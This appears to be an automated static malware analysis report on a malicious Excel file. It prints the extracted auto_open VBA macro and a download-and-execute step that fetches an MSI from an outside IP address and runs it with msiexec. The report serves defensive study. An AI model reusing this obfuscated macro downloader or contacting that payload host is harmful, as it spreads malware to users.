Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 5af65dbd86b87613…

MALICIOUS

Office (OOXML)

128.1 KB Created: 2004-04-13 14:44:36 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-04
MD5: b23019d42764f1a941824d74b3cbf6a8 SHA-1: 44e5fd30679745e44f6457bfd789a3f52b3ba2db SHA-256: 5af65dbd86b876135421875992450df5f659962e66fd8f8b1d59b6ed22539597
100 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an Excel document containing a VBA macro that executes the `auto_open` subroutine. This subroutine uses `ExecuteExcel4Macro` to construct and execute a command that downloads an MSI installer from `http://86.105.252.45/rb1.msi` to `C:\ProgramData\4412.msi` and then executes it using `msi exec.exe`. This indicates a downloader functionality aiming to install further malware.

Heuristics 3

  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 774 bytes
SHA-256: 5d7ad7b7da8fa1e782d8f4c889ed58d868f6bb32732d1fd5f0134aebfe5bec56
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub auto_open()
ExecuteExcel4Macro (Range("A12") & Range("F16") & Range("A31") + Range("K30") & Range("A23") & Range("A14"))
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 14848 bytes
SHA-256: e4388674e3903db9f91d85b3daa43419d5588b80e783fc6660cb094a3363c202

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